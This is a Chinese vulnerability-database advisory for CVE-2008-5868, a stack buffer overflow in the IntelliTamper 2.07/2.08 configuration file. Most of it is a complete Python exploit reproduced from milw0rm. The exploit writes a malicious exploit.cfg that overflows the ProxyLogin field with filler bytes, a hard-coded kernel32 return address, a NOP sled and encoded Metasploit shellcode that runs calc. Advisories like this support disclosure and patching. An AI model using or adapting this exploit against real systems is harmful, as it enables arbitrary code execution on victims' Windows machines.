IntelliTamper "CFG" 文件 缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117165 漏洞类型 缓冲区溢出
发布时间 2008-12-29 更新时间 2009-01-09
CVE编号 CVE-2008-5868 CNNVD-ID CNNVD-200901-073
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/7608
https://www.securityfocus.com/bid/33038
https://cxsecurity.com/issue/WLB-2009010137
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-073
|漏洞详情
IntelliTamper是用于拦截网站弹出窗口的浏览器插件。IntelliTamper2.07和2.08版本中存在栈缓冲区溢出漏洞。用户协助式攻击者可以借助配置文件中的一个过长的代理服务器登录值,来执行任意代码。
|漏洞EXP
#usage: exploit.py
print "**************************************************************************"
print " IntelliTamper 2.07/2.08 (ProxyLogin) Local Stack Overflow\n"
print " Author: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
         	

			
header = (
	"\x2F\x2F\x20\x49\x6E\x74\x65\x6C\x6C\x69\x54\x61\x6D\x70"
	"\x65\x72\x20\x63\x6F\x6E\x66\x69\x67\x75\x72\x61\x74\x69"
	"\x6F\x6E\x20\x66\x69\x6C\x65\x0A\x0A\x46\x6F\x6C\x64\x65"
	"\x72\x73\x44\x69\x63\x74\x69\x6F\x6E\x6E\x61\x72\x79\x3D"
	"\x44\x69\x63\x74\x69\x6F\x6E\x6E\x61\x72\x79\x43\x6C\x61"
	"\x73\x73\x69\x63\x2E\x74\x78\x74\x0A\x54\x65\x78\x74\x43"
	"\x61\x74\x61\x6C\x6F\x67\x3D\x43\x3A\x5C\x50\x72\x6F\x67"
	"\x72\x61\x6D\x20\x46\x69\x6C\x65\x73\x5C\x49\x6E\x74\x65"
	"\x6C\x6C\x69\x54\x61\x6D\x70\x65\x72\x5C\x49\x6E\x74\x65"
	"\x6C\x6C\x69\x54\x61\x6D\x70\x65\x72\x5F\x55\x53\x2E\x63"
	"\x61\x74\x0A\x55\x73\x65\x50\x72\x6F\x78\x79\x41\x75\x74"
	"\x68\x3D\x31\x0A\x50\x72\x6F\x78\x79\x4C\x6F\x67\x69\x6E"
	"\x3D"
	)
	
header2 = "\x0A\x50\x72\x6F\x78\x79\x50\x61\x73\x73\x77\x6F\x72\x64\x3D"	
			
buff = "\x41" * 245

EIP = "\x5D\x38\x82\x7C" #call ESP from kernel32.dll

nop = "\x90" * 12  #Blah Blah :D

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
	"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
	"\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
	"\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
	"\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
	"\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
	"\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
	"\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
	"\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
	"\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
	"\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
	"\xac\x2c\xc9\x40"
    )

exploit = header + buff + EIP + nop + shellcode + header2

try:
    out_file = open("exploit.cfg",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2008-12-29]
|受影响的产品
IntelliTamper IntelliTamper 2.08 IntelliTamper IntelliTamper 2.07
|参考资料

来源:MILW0RM
名称:7608
链接:http://www.milw0rm.com/exploits/7608
来源:SREASON
名称:4882
链接:http://securityreason.com/securityalert/4882